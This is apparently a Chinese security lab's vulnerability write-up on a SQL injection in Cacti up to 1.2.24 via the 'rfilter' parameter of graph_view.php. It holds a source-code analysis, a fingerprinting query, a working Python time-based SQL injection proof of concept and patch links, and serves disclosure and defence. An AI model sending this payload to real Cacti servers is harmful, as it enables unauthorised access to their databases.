0x01 阅读须知
天擎攻防实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 漏洞描述
(一) Cacti
Cacti是一个开源的网络图形化监控和数据可视化工具。它被广泛用于监控网络设备、服务器、应用程序和其他网络基础设施的性能和状态。
Cacti提供了一个基于Web的用户界面,使用户能够轻松创建、配置和管理监控图表。它使用RRDtool(Round Robin DatabaseTool)来存储和检索监控数据,并通过图表和图形的形式展示这些数据。用户可以根据需要创建自定义图表,并选择不同的数据源,如SNMP(SimpleNetworkManagement Protocol)、WMI(Windows Management Instrumentation)和Shell脚本等,来收集监控数据。
cacti<=1.2.24
网络空间绘测
app="Cacti-监控系统"
switch(get_nfilter_request_var('action')) {
// ...
case'tree_content':
html_validate_tree_vars();
// ...
if($tree_id >0) {
if(!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}
grow_right_pane_tree($tree_id, $node_id, $hgdata);
}
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
if (($leaf_type == 'header') || (empty($leaf_id))) {
$sql_where = '';
if (get_request_var('rfilter') != '') {
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
}
// ...
$graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);
}
rfilter参数是如何验证的呢,html_validate_tree_vars函数将过滤器类型设置为filter_validate_IS_REGEX,并调用validate_store_request_vars功能。
function html_validate_tree_vars() {
// ...
/* ================= input validation and session storage ================= */
$filters = array(
// ...
'rfilter' => array(
'filter' => FILTER_VALIDATE_IS_REGEX,
'pageset' => true,
'default' => '',
),
// ...
);
validate_store_request_vars($filters, 'sess_grt');
validate_store_request_vars是一个根据设置的过滤器类型验证用户输入的函数。如果过滤器类型为filter_VALIDATE_is_REGEX,则VALIDATE_is_REGEX函数会检查该值是否为有效的正则表达式。validate_is_regex函数将用户输入插入preg_match,以验证它是否是有效的正则表达式。请注意,单引号用作正则表达式的分隔符。此分隔符是FILTER_VALIDATE_is_REGEX筛选器针对SQL注入提供的唯一保护。由于分隔符必须在正则表达式中转义,因此很难从WHERE子句中转义并插入SQL语句。
function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {
// ...
if (cacti_sizeof($filters)) {
foreach ($filters as $variable => $options) {
// Establish the session variable first
if ($sess_prefix != '') {
// ...
} else {
if (get_nfilter_request_var($variable) == '0') {
// ...
} elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$variable])) {
$_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true);
}
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) {
$value = $_REQUEST[$variable];
} else {
$value = false;
$custom_error = $valid;
}
// ...
function validate_is_regex($regex) {
// ...
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
在growt_right_pane_tree函数中,RLIKE引号使用双引号。这意味着用户输入验证根本不起作用。攻击者可以在rfilter参数中插入SQL代码,使其形成有效的正则表达式,从而启用SQL注入攻击。
function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
// ...
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
(三)POC
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""
def exploit():
url = f"{target}/graph_view.php"
params = {
"action":"tree_content",
"node":"1-1-tree_anchor",
"rfilter":payload
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.get(url,params=params)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
parser.add_argument('-t','--target',help='',required=True)
args = parser.parse_args()
target = args.target
session = requests.Session()
exploit()
更多漏洞POC发布在知识星球
0x03 修复方案
官方修复缓解措施
补丁链接
http://www.cacti.net/
参考链接
https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg